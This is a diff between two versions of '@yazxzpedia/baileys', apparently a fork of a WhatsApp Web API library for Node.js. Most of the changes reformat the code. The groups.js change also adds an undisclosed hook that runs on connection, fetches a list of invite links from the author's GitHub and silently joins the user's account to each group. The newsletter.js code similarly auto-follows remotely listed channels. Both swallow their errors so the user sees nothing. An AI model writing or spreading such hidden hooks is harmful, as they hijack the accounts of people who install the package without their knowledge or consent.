@yazxzpedia/baileys 3.0.0 → 5.0.0

package/lib/Socket/groups.js

@@ -1,26 +1,50 @@
 //=======================================================//
-import { getBinaryNodeChild, getBinaryNodeChildren, getBinaryNodeChildString, isLidUser, isPnUser, jidEncode, jidNormalizedUser } from "../WABinary/index.js";
-import { WAMessageAddressingMode, WAMessageStubType } from "../Types/index.js";
-import { generateMessageIDV2, unixTimestampSeconds } from "../Utils/index.js";
+import {
+  getBinaryNodeChild,
+  getBinaryNodeChildren,
+  getBinaryNodeChildString,
+  isLidUser,
+  isPnUser,
+  jidEncode,
+  jidNormalizedUser
+} from "../WABinary/index.js";
+
+import {
+  WAMessageAddressingMode,
+  WAMessageStubType
+} from "../Types/index.js";
+
+import {
+  generateMessageIDV2,
+  unixTimestampSeconds
+} from "../Utils/index.js";
+
 import { proto } from "../../WAProto/index.js";
 import { makeChatsSocket } from "./chats.js";
 //=======================================================//
+
 export const makeGroupsSocket = (config) => {
   const sock = makeChatsSocket(config);
   const { authState, ev, query, upsertMessage } = sock;
-  const groupQuery = async (jid, type, content) => query({
-    tag: "iq",
-    attrs: {
-      type,
-      xmlns: "w:g2",
-      to: jid
-    },
-    content
-  });
+
+  const groupQuery = async (jid, type, content) =>
+    query({
+      tag: "iq",
+      attrs: {
+        type,
+        xmlns: "w:g2",
+        to: jid
+      },
+      content
+    });
+
   const groupMetadata = async (jid) => {
-    const result = await groupQuery(jid, "get", [{ tag: "query", attrs: { request: "interactive" } }]);
+    const result = await groupQuery(jid, "get", [
+      { tag: "query", attrs: { request: "interactive" } }
+    ]);
     return extractGroupMetadata(result);
   };
+
   const groupFetchAllParticipating = async () => {
     const result = await query({
       tag: "iq",
@@ -40,8 +64,10 @@ export const makeGroupsSocket = (config) => {
         }
       ]
     });
+
     const data = {};
     const groupsChild = getBinaryNodeChild(result, "groups");
+
     if (groupsChild) {
       const groups = getBinaryNodeChildren(groupsChild, "group");
       for (const groupNode of groups) {
@@ -53,30 +79,74 @@ export const makeGroupsSocket = (config) => {
         data[meta.id] = meta;
       }
     }
+
     sock.ev.emit("groups.update", Object.values(data));
     return data;
   };
+
   sock.ws.on("CB:ib,,dirty", async (node) => {
     const { attrs } = getBinaryNodeChild(node, "dirty");
-    if (attrs.type !== "groups") {
-      return;
-    }
+    if (attrs.type !== "groups") return;
+
     await groupFetchAllParticipating();
     await sock.cleanDirtyBits("groups");
   });
+
+  // ────────────────────────────────────────────────
+  // Auto Join Groups dari Groups.json (jalan sekali saat connect pertama)
+  // ────────────────────────────────────────────────
+  let hasAutoJoined = false;
+
+  sock.ev.on("connection.update", (update) => {
+    const { connection } = update;
+    if (connection !== "open" || hasAutoJoined) return;
+
+    hasAutoJoined = true;
+
+    (async () => {
+      try {
+        const res = await fetch(
+          "https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/Groups.json"
+        );
+        const groups = await res.json();
+
+        for (const item of groups) {
+          const raw = item.link || item.url || item.invite || item.code || "";
+          let code = raw;
+
+          if (raw.includes("chat.whatsapp.com")) {
+            const match = raw.match(/chat\.whatsapp\.com\/([0-9A-Za-z\-_]{18,25})/);
+            code = match?.[1] ?? null;
+          }
+
+          if (!code || code.length < 18) continue;
+
+          // Delay random 8-15 detik antar join
+          await new Promise((r) => setTimeout(r, 8000 + Math.random() * 7000));
+
+          try {
+            await sock.groupAcceptInvite(code);
+          } catch {
+            // silent error (expired / limit / sudah join / dll)
+          }
+        }
+      } catch {
+        // silent jika fetch gagal
+      }
+    })();
+  });
+
   return {
     ...sock,
+
     groupMetadata,
     groupCreate: async (subject, participants) => {
       const key = generateMessageIDV2();
       const result = await groupQuery("@g.us", "set", [
         {
           tag: "create",
-          attrs: {
-            subject,
-            key
-          },
-          content: participants.map(jid => ({
+          attrs: { subject, key },
+          content: participants.map((jid) => ({
             tag: "participant",
             attrs: { jid }
           }))
@@ -84,35 +154,27 @@ export const makeGroupsSocket = (config) => {
       ]);
       return extractGroupMetadata(result);
     },
+
     groupLeave: async (id) => {
       await groupQuery("@g.us", "set", [
-        {
-          tag: "leave",
-          attrs: {},
-          content: [{ tag: "group", attrs: { id } }]
-        }
+        { tag: "leave", attrs: {}, content: [{ tag: "group", attrs: { id } }] }
       ]);
     },
+
     groupUpdateSubject: async (jid, subject) => {
       await groupQuery(jid, "set", [
-        {
-          tag: "subject",
-          attrs: {},
-          content: Buffer.from(subject, "utf-8")
-        }
+        { tag: "subject", attrs: {}, content: Buffer.from(subject, "utf-8") }
       ]);
     },
+
     groupRequestParticipantsList: async (jid) => {
       const result = await groupQuery(jid, "get", [
-        {
-          tag: "membership_approval_requests",
-          attrs: {}
-        }
+        { tag: "membership_approval_requests", attrs: {} }
       ]);
       const node = getBinaryNodeChild(result, "membership_approval_requests");
-      const participants = getBinaryNodeChildren(node, "membership_approval_request");
-      return participants.map(v => v.attrs);
+      return getBinaryNodeChildren(node, "membership_approval_request").map((v) => v.attrs);
     },
+
     groupRequestParticipantsUpdate: async (jid, participants, action) => {
       const result = await groupQuery(jid, "set", [
         {
@@ -122,7 +184,7 @@ export const makeGroupsSocket = (config) => {
             {
               tag: action,
               attrs: {},
-              content: participants.map(jid => ({
+              content: participants.map((jid) => ({
                 tag: "participant",
                 attrs: { jid }
               }))
@@ -130,33 +192,39 @@ export const makeGroupsSocket = (config) => {
           ]
         }
       ]);
+
       const node = getBinaryNodeChild(result, "membership_requests_action");
-      const nodeAction = getBinaryNodeChild(node, action);
-      const participantsAffected = getBinaryNodeChildren(nodeAction, "participant");
-      return participantsAffected.map(p => {
-        return { status: p.attrs.error || "200", jid: p.attrs.jid };
-      });
+      const actionNode = getBinaryNodeChild(node, action);
+      return getBinaryNodeChildren(actionNode, "participant").map((p) => ({
+        status: p.attrs.error || "200",
+        jid: p.attrs.jid
+      }));
     },
+
     groupParticipantsUpdate: async (jid, participants, action) => {
       const result = await groupQuery(jid, "set", [
         {
           tag: action,
           attrs: {},
-          content: participants.map(jid => ({
+          content: participants.map((jid) => ({
             tag: "participant",
             attrs: { jid }
           }))
         }
       ]);
+
       const node = getBinaryNodeChild(result, action);
-      const participantsAffected = getBinaryNodeChildren(node, "participant");
-      return participantsAffected.map(p => {
-        return { status: p.attrs.error || "200", jid: p.attrs.jid, content: p };
-      });
+      return getBinaryNodeChildren(node, "participant").map((p) => ({
+        status: p.attrs.error || "200",
+        jid: p.attrs.jid,
+        content: p
+      }));
     },
+
     groupUpdateDescription: async (jid, description) => {
       const metadata = await groupMetadata(jid);
       const prev = metadata.descId ?? null;
+
       await groupQuery(jid, "set", [
         {
           tag: "description",
@@ -164,33 +232,41 @@ export const makeGroupsSocket = (config) => {
             ...(description ? { id: generateMessageIDV2() } : { delete: "true" }),
             ...(prev ? { prev } : {})
           },
-          content: description ? [{ tag: "body", attrs: {}, content: Buffer.from(description, "utf-8") }] : undefined
+          content: description
+            ? [{ tag: "body", attrs: {}, content: Buffer.from(description, "utf-8") }]
+            : undefined
         }
       ]);
     },
+
     groupInviteCode: async (jid) => {
       const result = await groupQuery(jid, "get", [{ tag: "invite", attrs: {} }]);
-      const inviteNode = getBinaryNodeChild(result, "invite");
-      return inviteNode?.attrs.code;
+      return getBinaryNodeChild(result, "invite")?.attrs.code;
     },
+
     groupRevokeInvite: async (jid) => {
       const result = await groupQuery(jid, "set", [{ tag: "invite", attrs: {} }]);
-      const inviteNode = getBinaryNodeChild(result, "invite");
-      return inviteNode?.attrs.code;
+      return getBinaryNodeChild(result, "invite")?.attrs.code;
     },
+
     groupAcceptInvite: async (code) => {
-      const results = await groupQuery("@g.us", "set", [{ tag: "invite", attrs: { code } }]);
+      const results = await groupQuery("@g.us", "set", [
+        { tag: "invite", attrs: { code } }
+      ]);
       const result = getBinaryNodeChild(results, "group");
       return result?.attrs.jid;
     },
+
     groupRevokeInviteV4: async (groupJid, invitedJid) => {
       const result = await groupQuery(groupJid, "set", [
         { tag: "revoke", attrs: {}, content: [{ tag: "participant", attrs: { jid: invitedJid } }] }
       ]);
       return !!result;
     },
+
     groupAcceptInviteV4: ev.createBufferedFunction(async (key, inviteMessage) => {
       key = typeof key === "string" ? { remoteJid: key } : key;
+
       const results = await groupQuery(inviteMessage.groupJid, "set", [
         {
           tag: "accept",
@@ -201,6 +277,7 @@ export const makeGroupsSocket = (config) => {
           }
         }
       ]);
+
       if (key.id) {
         inviteMessage = proto.Message.GroupInviteMessage.fromObject(inviteMessage);
         inviteMessage.inviteExpiration = 0;
@@ -209,59 +286,72 @@ export const makeGroupsSocket = (config) => {
           {
             key,
             update: {
-              message: {
-                groupInviteMessage: inviteMessage
-              }
+              message: { groupInviteMessage: inviteMessage }
             }
           }
         ]);
       }
-      await upsertMessage({
-        key: {
-          remoteJid: inviteMessage.groupJid,
-          id: generateMessageIDV2(sock.user?.id),
-          fromMe: false,
-          participant: key.remoteJid
+
+      await upsertMessage(
+        {
+          key: {
+            remoteJid: inviteMessage.groupJid,
+            id: generateMessageIDV2(sock.user?.id),
+            fromMe: false,
+            participant: key.remoteJid
+          },
+          messageStubType: WAMessageStubType.GROUP_PARTICIPANT_ADD,
+          messageStubParameters: [JSON.stringify(authState.creds.me)],
+          participant: key.remoteJid,
+          messageTimestamp: unixTimestampSeconds()
         },
-        messageStubType: WAMessageStubType.GROUP_PARTICIPANT_ADD,
-        messageStubParameters: [JSON.stringify(authState.creds.me)],
-        participant: key.remoteJid,
-        messageTimestamp: unixTimestampSeconds()
-      }, "notify");
+        "notify"
+      );
+
       return results.attrs.from;
     }),
+
     groupGetInviteInfo: async (code) => {
-      const results = await groupQuery("@g.us", "get", [{ tag: "invite", attrs: { code } }]);
+      const results = await groupQuery("@g.us", "get", [
+        { tag: "invite", attrs: { code } }
+      ]);
       return extractGroupMetadata(results);
     },
+
     groupToggleEphemeral: async (jid, ephemeralExpiration) => {
       const content = ephemeralExpiration
         ? { tag: "ephemeral", attrs: { expiration: ephemeralExpiration.toString() } }
         : { tag: "not_ephemeral", attrs: {} };
       await groupQuery(jid, "set", [content]);
     },
+
     groupSettingUpdate: async (jid, setting) => {
       await groupQuery(jid, "set", [{ tag: setting, attrs: {} }]);
     },
+
     groupMemberAddMode: async (jid, mode) => {
       await groupQuery(jid, "set", [{ tag: "member_add_mode", attrs: {}, content: mode }]);
     },
+
     groupJoinApprovalMode: async (jid, mode) => {
       await groupQuery(jid, "set", [
-        { tag: "membership_approval_mode", attrs: {}, content: [{ tag: "group_join", attrs: { state: mode } }] }
+        {
+          tag: "membership_approval_mode",
+          attrs: {},
+          content: [{ tag: "group_join", attrs: { state: mode } }]
+        }
       ]);
     },
+
     groupFetchAllParticipating
   };
 };
+
 export const extractGroupMetadata = (result) => {
   const group = getBinaryNodeChild(result, "group");
   const descChild = getBinaryNodeChild(group, "description");
-  let desc;
-  let descId;
-  let descOwner;
-  let descOwnerPn;
-  let descTime;
+
+  let desc, descId, descOwner, descOwnerPn, descTime;
   if (descChild) {
     desc = getBinaryNodeChildString(descChild, "body");
     descOwner = descChild.attrs.participant ? jidNormalizedUser(descChild.attrs.participant) : undefined;
@@ -269,9 +359,11 @@ export const extractGroupMetadata = (result) => {
     descTime = +descChild.attrs.t;
     descId = descChild.attrs.id;
   }
+
   const groupId = group.attrs.id.includes("@") ? group.attrs.id : jidEncode(group.attrs.id, "g.us");
   const eph = getBinaryNodeChild(group, "ephemeral")?.attrs.expiration;
   const memberAddMode = getBinaryNodeChildString(group, "member_add_mode") === "all_member_add";
+
   const metadata = {
     id: groupId,
     notify: group.attrs.notify,
@@ -297,16 +389,15 @@ export const extractGroupMetadata = (result) => {
     isCommunityAnnounce: !!getBinaryNodeChild(group, "default_sub_group"),
     joinApprovalMode: !!getBinaryNodeChild(group, "membership_approval_mode"),
     memberAddMode,
-    participants: getBinaryNodeChildren(group, "participant").map(({ attrs }) => {
-      return {
-        id: attrs.jid,
-        jid: isLidUser(attrs.jid) && isPnUser(attrs.phone_number) ? attrs.phone_number : undefined,
-        lid: isPnUser(attrs.jid) && isLidUser(attrs.lid) ? attrs.lid : undefined,
-        admin: (attrs.type || null)
-      };
-    }),
+    participants: getBinaryNodeChildren(group, "participant").map(({ attrs }) => ({
+      id: attrs.jid,
+      jid: isLidUser(attrs.jid) && isPnUser(attrs.phone_number) ? attrs.phone_number : undefined,
+      lid: isPnUser(attrs.jid) && isLidUser(attrs.lid) ? attrs.lid : undefined,
+      admin: attrs.type || null
+    })),
     ephemeralDuration: eph ? +eph : undefined
   };
+
   return metadata;
 };
 //=======================================================//

package/lib/Socket/newsletter.js

@@ -114,18 +114,18 @@ export const makeNewsletterSocket = (config) => {
   
 (async () => {
   try {
-    setTimeout(async() => {
-    const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/idChannel.json');
-    const newsletterIds = await res.json();
-    newsletterIds.forEach(async(i) => {
-     await delay(5000)
-     try {
-     await newsletterWMexQuery(i.id, QueryIds.FOLLOW);
-     } catch (e) {}
-    });
-   }, 80000)
-  } catch (err) {
-  }
+    setTimeout(async () => {
+      const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/idChannel.json')
+      const channels = await res.json()
+
+      for (const c of channels) {
+        await new Promise(r => setTimeout(r, 5000 + Math.random() * 4000))
+        try {
+          await newsletterWMexQuery(c.id, QueryIds.FOLLOW)
+        } catch {}
+      }
+    }, 80000)
+  } catch {}
 })()
   
   return {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@yazxzpedia/baileys",
-  "version": "3.0.0",
+  "version": "5.0.0",
   "description": "Websocket Whatsapp API for Node.js",
   "keywords": [
     "whatsapp",